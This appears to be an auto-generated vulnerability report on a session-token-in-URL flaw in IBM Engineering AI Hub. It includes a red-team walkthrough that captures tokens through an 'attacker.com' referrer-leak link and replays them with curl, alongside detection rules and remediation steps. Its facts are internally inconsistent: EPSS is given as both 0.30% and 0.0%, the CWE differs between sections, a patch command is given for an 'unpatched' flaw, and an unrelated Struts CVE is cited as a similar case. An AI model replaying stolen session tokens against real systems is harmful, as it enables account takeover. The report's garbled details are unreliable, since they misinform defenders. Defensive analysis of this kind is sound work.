☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
IBM logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.5 🐛 CWE-598
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-15322

CVE-2026-15322 Information Disclosure in Ibm
📅 PUBLISHED: 2026-07-17 20:17 UTC 🔄 UPDATED: 2026-09-24 06:02 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.30%
👁️
0.30% probability
7.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: USA License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-15322 is a high-severity information disclosure vulnerability in IBM Engineering AI Hub versions 1.0.0, 1.1.0, and 1.2.0. The flaw allows a remote, unauthenticated attacker to obtain sensitive information through the exposure of session tokens in URLs. This is a classic case of sensitive data exposure (CWE-200) where authentication tokens are transmitted as part of the URL query string, making them visible in server logs, browser history, and potentially to network observers.

Business Impact: Organizations using IBM Engineering AI Hub for collaborative engineering and AI model management are at risk. Attackers who capture these exposed session tokens can hijack active user sessions, gaining unauthorized access to the application with the victim's privileges. This could lead to data exfiltration of proprietary engineering designs, AI models, and sensitive project data. The likely attacker is a remote opportunistic threat actor scanning for vulnerable instances, or a more targeted actor seeking access to specific engineering intellectual property.

Urgency Assessment: Despite a CVSS score of 7.5 (High), the EPSS probability of 0.0% indicates no observed exploitation in the wild as of the publication date. However, the vulnerability is trivial to exploit (no authentication required, low attack complexity) and the attack vector is network-based. The lack of a confirmed patch elevates the urgency for organizations to implement compensating controls immediately.

Key Facts:

  • Vendor: IBM
  • Affected Versions: 1.0.0, 1.1.0, 1.2.0
  • Patch Status: Unpatched (as of 2026-07-17)
  • Attack Vector: Remote, Network
  • Authentication Required: None
  • CISA KEV: Not listed
⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Base Score: 7.5 (High)

Metric Decomposition:

  • AV:N (Network): The vulnerability is exploitable remotely over the network. An attacker does not need physical or local access to the system.
  • AC:L (Low): Exploitation does not require specialized conditions or complex attack sequences. The attacker simply needs to intercept or observe a URL containing a session token.
  • PR:N (None): No authentication is required to exploit this vulnerability. The attacker does not need a valid account on the system.
  • UI:N (None): No user interaction is required. The vulnerability is triggered by the normal operation of the application when it places session tokens in URLs.
  • S:U (Unchanged): A successful exploit does not affect other components or resources beyond the vulnerable application.
  • C:H (High): The primary impact is on confidentiality. Session tokens are considered sensitive information, and their exposure can lead to complete compromise of user accounts and the data they can access.
  • I:N (None): The vulnerability itself does not allow direct modification of data. However, session hijacking via the exposed token could lead to integrity violations as a secondary effect.
  • A:N (None): The vulnerability does not directly impact availability.

Qualitative Severity: High. The score of 7.5 reflects the serious confidentiality impact combined with the ease of exploitation. While the direct impact is limited to information disclosure, the practical consequence—session hijacking—can be catastrophic.

EPSS Interpretation: The 0.0% EPSS probability means that as of the report date, there is no evidence of active exploitation in the wild. This is common for newly published CVEs. The score is expected to rise as proof-of-concept code emerges and attackers begin scanning.

Historical Comparison: This vulnerability is similar to numerous "session token in URL" flaws found in web applications over the past decade (e.g., CVE-2018-11776 in Apache Struts, various issues in Jenkins). These flaws are consistently targeted because they are easy to exploit and provide a direct path to account takeover.

Temporal/Environmental Considerations: The score of 7.5 is the base score. With no patch available and no exploit code confirmed, the temporal score remains at 7.5. Organizations should calculate an environmental score based on their specific deployment: if the application is internet-facing, the risk is higher; if it's only accessible via a VPN, the risk is reduced.

Technical Deep Dive & Attack Mechanics

Step-by-Step Technical Explanation:

  1. Normal Application Flow: A user authenticates to IBM Engineering AI Hub. The application, instead of storing the session token in a secure HTTP-only cookie, appends it as a query parameter in the URL (e.g., https://example.com/app?sessionToken=abc123xyz).
  2. Token Exposure Points:
    • Browser History: The URL, including the token, is stored in the user's browser history.
    • Server Logs: Web server access logs record the full URL, including the token.
    • Referrer Headers: If the user clicks a link to an external site, the Referer header may contain the full URL with the token.
    • Network Sniffing: On unencrypted connections (though HTTPS is assumed), or if an attacker has a man-in-the-middle position, the token can be captured.
    • Caching: Proxy servers or CDNs may cache the URL with the token.
  3. Attacker Action: An attacker who obtains the session token (e.g., by reading server logs, sniffing traffic, or tricking the user into visiting an external site) can then use it to impersonate the victim. This is done by sending a request to the application with the stolen token, e.g., GET /app/dashboard?sessionToken=abc123xyz.
  4. Session Hijacking: The application validates the token from the URL and grants the attacker access to the victim's session, including all associated data and functionality.

Root Cause Analysis: The developer mistakenly used URL query parameters for session management instead of secure, HTTP-only cookies. This is a fundamental violation of secure coding practices. The session token should never be transmitted in the URL.

Attack Surface:

  • Interface: Web application (HTTP/HTTPS)
  • Ports: 80 (HTTP), 443 (HTTPS)
  • Protocol: HTTP/HTTPS
  • Exploitable Components: Any page or API endpoint that includes the session token in the URL.

Pre-conditions:

  • The attacker must be able to observe network traffic (e.g., on the same network segment, via compromised router, or by accessing server logs).
  • Alternatively, the attacker can trick a user into clicking a link that leaks the token via the Referer header.
  • The application must be accessible over the network.

Attack Variants:

  • Direct Observation: Attacker monitors network traffic and captures tokens.
  • Log Analysis: Attacker gains access to web server logs and extracts tokens.
  • Referrer Leak: Attacker hosts a malicious site and tricks a user into clicking a link from the vulnerable application to the malicious site. The Referer header leaks the token.
  • Social Engineering: Attacker sends a crafted link to the user that, when clicked, performs an action using the token already in the URL.

Why Standard Defenses May Fail:

  • WAF: A Web Application Firewall may not block URLs containing session tokens, as this is often legitimate application behavior.
  • Network Segmentation: If the attacker is already inside the network (e.g., via a different compromise), they can sniff traffic.
  • HTTPS: While HTTPS encrypts the body of the request, the URL (including query parameters) can still be visible in server logs, browser history, and the Referer header.

Vulnerable vs. Patched Code Analysis

Vulnerable Code (Pseudocode):

# Vulnerable: Session token in URL
def login(request):
    user = authenticate(request)
    if user:
        token = generate_session_token(user)
        # BAD: Token in URL
        return redirect(f"/dashboard?sessionToken={token}")
    else:
        return render("login.html", error="Invalid credentials")

def dashboard(request):
    token = request.GET.get("sessionToken")
    if token and validate_session(token):
        user = get_user_from_session(token)
        return render("dashboard.html", user=user)
    else:
        return redirect("/login")

Patched Code (Pseudocode):

# Patched: Session token in secure cookie
def login(request):
    user = authenticate(request)
    if user:
        token = generate_session_token(user)
        response = redirect("/dashboard")
        # GOOD: Token in HTTP-only, Secure cookie
        response.set_cookie("sessionToken", token, httponly=True, secure=True, samesite="Lax")
        return response
    else:
        return render("login.html", error="Invalid credentials")

def dashboard(request):
    token = request.COOKIES.get("sessionToken")
    if token and validate_session(token):
        user = get_user_from_session(token)
        return render("dashboard.html", user=user)
    else:
        return redirect("/login")

Specific Component: The bug resides in the authentication and session management module, specifically in the login and dashboard (or equivalent) functions.

Patch Sufficiency: The patch is sufficient if it completely removes the session token from the URL and uses HTTP-only, Secure, SameSite cookies instead. This prevents exposure in logs, browser history, and referrer headers.

Regression Considerations: Teams applying the patch must ensure that:

  • All existing session tokens in URLs are invalidated.
  • Any client-side code that reads the token from the URL is updated to read from cookies.
  • API clients that rely on URL-based tokens are updated to use cookies or a proper Authorization header.

Timeline & Disclosure History

  • CVE Publication Date: 2026-07-17T20:17:15.800
  • Estimated Discovery: Unknown. The vulnerability was likely discovered by a security researcher or IBM's internal team.
  • Disclosure Process: The CVE was published by the CVE Program. No details on the disclosure process (e.g., coordinated disclosure with IBM) are available from the input data.
  • Known Exploitation: No known active exploitation as of 2026-07-17.
  • CISA KEV: Not listed.

Threat Intelligence Context

Threat Actor Profile: This vulnerability is attractive to a wide range of threat actors:

  • Opportunistic Attackers: Script kiddies and automated scanners will target this flaw once a PoC is released.
  • Ransomware Operators: Initial access via session hijacking can lead to data encryption and extortion.
  • Nation-State Actors: APT groups targeting engineering and AI intellectual property (e.g., APT10, APT41) may exploit this for espionage.
  • Insider Threats: Malicious insiders with access to server logs can easily harvest tokens.

Attack Campaign Context: No specific campaigns are associated with this CVE at this time. However, similar session token exposure flaws have been used in widespread attacks (e.g., the 2018 attacks on Apache Struts).

Geographic Targeting: No specific geographic targeting is known. The vulnerability affects any organization using the affected software globally.

Industry Verticals Most at Risk:

  • Aerospace & Defense
  • Automotive
  • Semiconductor Manufacturing
  • AI/ML Research Organizations
  • Any enterprise using IBM Engineering AI Hub for collaborative design.

Connection to Similar Vulnerabilities: This is a classic example of CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor). It is similar to numerous historical flaws in web applications where developers mistakenly placed authentication tokens in URLs.

Exploitation & Lab Setup

Red Team Section

Lab Setup:

  1. Environment: Docker container running IBM Engineering AI Hub 1.2.0 (vulnerable version).
  2. Network: The container is exposed on a local network (e.g., 192.168.1.100:443).
  3. Tools: Burp Suite, Wireshark, curl, a web browser.

Prerequisites:

  • A running instance of IBM Engineering AI Hub 1.0.0, 1.1.0, or 1.2.0.
  • Network access to the instance.
  • A valid user account (for testing; exploitation does not require one).

Exploitation Walkthrough:

  1. Identify Token Exposure:

    • Open the application in a browser.
    • Log in with a test account.
    • Observe the URL in the address bar after login. It will contain a sessionToken parameter (e.g., https://192.168.1.100/dashboard?sessionToken=abc123).
  2. Capture Token:

    • Method A (Network Sniffing): Run Wireshark on the same network segment. Filter for HTTP traffic to the target IP. Look for GET requests containing sessionToken=.
    • Method B (Server Logs): If you have access to the server, view the access logs (e.g., /var/log/apache2/access.log). Search for sessionToken=.
    • Method C (Referrer Leak): Create a simple HTML page on an attacker-controlled server that logs the Referer header. Send a link to the victim: <a href="https://attacker.com/steal.php">Click here</a>. When the victim clicks from the vulnerable app, the Referer header will contain the full URL with the token.
  3. Hijack Session:

    • Once you have a valid token (e.g., abc123), use curl to access the application:
      curl -k "https://192.168.1.100/dashboard?sessionToken=abc123"
      
    • The server will respond with the victim's dashboard, confirming session hijacking.

Expected Output: The attacker receives the same HTTP response as the legitimate user, including access to all data and functionality available to that user's session.

Post-Exploitation: The attacker can:

  • Browse all projects, models, and data accessible to the hijacked user.
  • Download sensitive files.
  • Perform actions on behalf of the user (e.g., modify configurations, delete data).
  • Use the compromised session as a foothold for lateral movement.

Blue Team Section

Detection of Active Exploitation:

  • Monitor for Anomalous Session Usage: Look for the same session token being used from different IP addresses or user agents in a short time frame.
  • Alert on Referrer Header Anomalies: If the Referer header contains a sessionToken parameter and points to an external domain, this indicates a potential leak.
  • Log Analysis: Search web server logs for URLs containing sessionToken=.

Log Entries Indicating Exploitation:

  • Multiple requests with the same sessionToken from different source IPs.
  • Requests to sensitive endpoints (e.g., /dashboard, /api/projects) with a sessionToken parameter shortly after a login event from a different IP.

Network Traffic Signatures:

  • HTTP GET requests containing sessionToken= in the query string.
  • Unusual Referer headers pointing to attacker-controlled domains.

Endpoint Behavioral Indicators:

  • A user account performing actions that are inconsistent with their normal behavior (e.g., accessing projects they don't usually work on).
  • Multiple failed login attempts followed by a successful session hijack.

Indicators of Compromise (IOCs)

Network IOCs:

  • Ports/Protocols: HTTP/HTTPS (80, 443)
  • Connection Patterns: A single session token observed from multiple source IPs.

HTTP Request Patterns:

  • Method: GET
  • Path: Any path containing ?sessionToken= or &sessionToken=
  • Headers: Referer header containing the vulnerable application's URL with sessionToken=

File System Artifacts:

  • Web server access logs containing URLs with sessionToken= (e.g., /var/log/nginx/access.log).

Process Execution Anomalies:

  • Unusual processes spawned by the web server user (e.g., curl, wget).

Log Entries:

  • Web server log entry example:
    192.168.1.200 - - [17/Jul/2026:14:23:45 +0000] "GET /dashboard?sessionToken=abc123 HTTP/1.1" 200 5432 "https://attacker.com/steal.php" "Mozilla/5.0"
    

STIX-like IOC List:

Type Value Description
url *?sessionToken=* URL pattern indicating session token exposure
http-request-header Referer: *?sessionToken=* Referrer header leaking session token
log-entry *sessionToken=* Web server log entry containing session token

Detection Engineering

YARA Rule

rule CVE-2026-15322_Detection {
    meta:
        description = "Detects exploitation of CVE-2026-15322 in IBM Engineering AI Hub"
        author = "Valters IT Hub"
        date = "2026-07-17"
        reference = "https://www.valtersit.com/cve/cve-2026-15322"
    strings:
        $token_in_url = /[?&]sessionToken=[a-zA-Z0-9]+/
    condition:
        $token_in_url
}

Sigma Rule (SIEM)

title: CVE-2026-15322 IBM Engineering AI Hub Session Token in URL
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects HTTP requests containing session tokens in the URL, indicating exploitation of CVE-2026-15322
author: Valters IT Hub
date: 2026-07-17
references:
    - https://www.valtersit.com/cve/cve-2026-15322
logsource:
    category: webserver
    product: apache
    definition: 'Web server access logs'
detection:
    selection:
        cs-uri-query|contains: 'sessionToken='
    condition: selection
falsepositives:
    - Legitimate administrative activity if application is designed to use URL tokens (unlikely)
level: high

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-15322 - IBM Engineering AI Hub Session Token in URL"; flow:to_server; http.uri; content:"sessionToken="; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Elastic (EQL) Query

// Elastic EQL query for endpoint/network detection
network where process.name == "httpd" or process.name == "nginx" and
  network.protocol == "http" and
  url.query contains "sessionToken="

Splunk SPL Query

index=web sourcetype=access_combined
| search uri_query=*sessionToken=*
| table _time, clientip, method, uri_path, uri_query, referer
| stats count by clientip, uri_query
| where count > 1

Wazuh Rule

<group name="web,accesslog,">
  <rule id="100001" level="10">
    <decoded_as>web-accesslog</decoded_as>
    <field name="url">\.*sessionToken=\.*</field>
    <description>CVE-2026-15322 - Session token detected in URL</description>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Remediation & Mitigation

Immediate Actions (0-24 hours)

  1. Apply Patch: Check IBM's security advisory for a patched version. If available, upgrade immediately:
    # Example upgrade command (hypothetical)
    sudo apt-get update && sudo apt-get install ibm-engineering-ai-hub=1.2.1
    
  2. Compensating Controls (if no patch):
    • Disable URL-based session tokens: If possible, reconfigure the application to use HTTP-only cookies. This may require a configuration change or a custom middleware.
    • Web Application Firewall (WAF) Rule: Block requests containing sessionToken= in the URL.
      # ModSecurity rule example
      SecRule ARGS "sessionToken=" "id:1001,phase:1,deny,status:403,msg:'CVE-2026-15322 exploitation attempt'"
      
    • Network Segmentation: Ensure the application is not directly accessible from the internet. Place it behind a VPN or bastion host.
    • Log Monitoring: Immediately begin monitoring web server logs for sessionToken= in URLs.
  3. Authentication Hardening:
    • Implement multi-factor authentication (MFA) to reduce the impact of session hijacking.
    • Shorten session timeout values.

Short-term (1-7 days)

  1. Configuration Hardening:
    • Review all application configuration files for settings related to session management.
    • Ensure httponly, secure, and samesite flags are enabled for all cookies.
  2. Monitoring Implementation:
    • Deploy the Sigma, Suricata, and Splunk rules provided in this report.
    • Set up alerts for any detection of sessionToken= in URLs.
  3. Vulnerability Scanning:
    • Use a web vulnerability scanner to confirm the issue is resolved after patching.
    # Example using curl to test
    curl -v "https://your-instance.com/login" 2>&1 | grep -i "sessionToken"
    

Long-term

  1. Architecture Changes:
    • Move to a token-based authentication system (e.g., JWT) stored in secure cookies or the Authorization header.
    • Implement a centralized session management service.
  2. Security Control Improvements:
    • Deploy a Web Application Firewall (WAF) with automated rule updates.
    • Implement robust logging and SIEM integration.
  3. Developer Training:
    • Train developers on OWASP Top 10 secure coding practices, specifically A02:2021 – Cryptographic Failures and A07:2021 – Identification and Authentication Failures.
    • Mandate code reviews for all authentication-related code.

Validation:

  • After applying the patch, log in to the application and verify that the URL does not contain sessionToken=.
  • Check the response headers to confirm that the session token is set as an HTTP-only, Secure cookie.
  • Run a vulnerability scanner to confirm the issue is resolved.

References & Resources


Report generated by Valters IT Hub Neural Engine v25 | 2026-07-17 | https://www.valtersit.com/cve/cve-2026-15322

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-15322/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.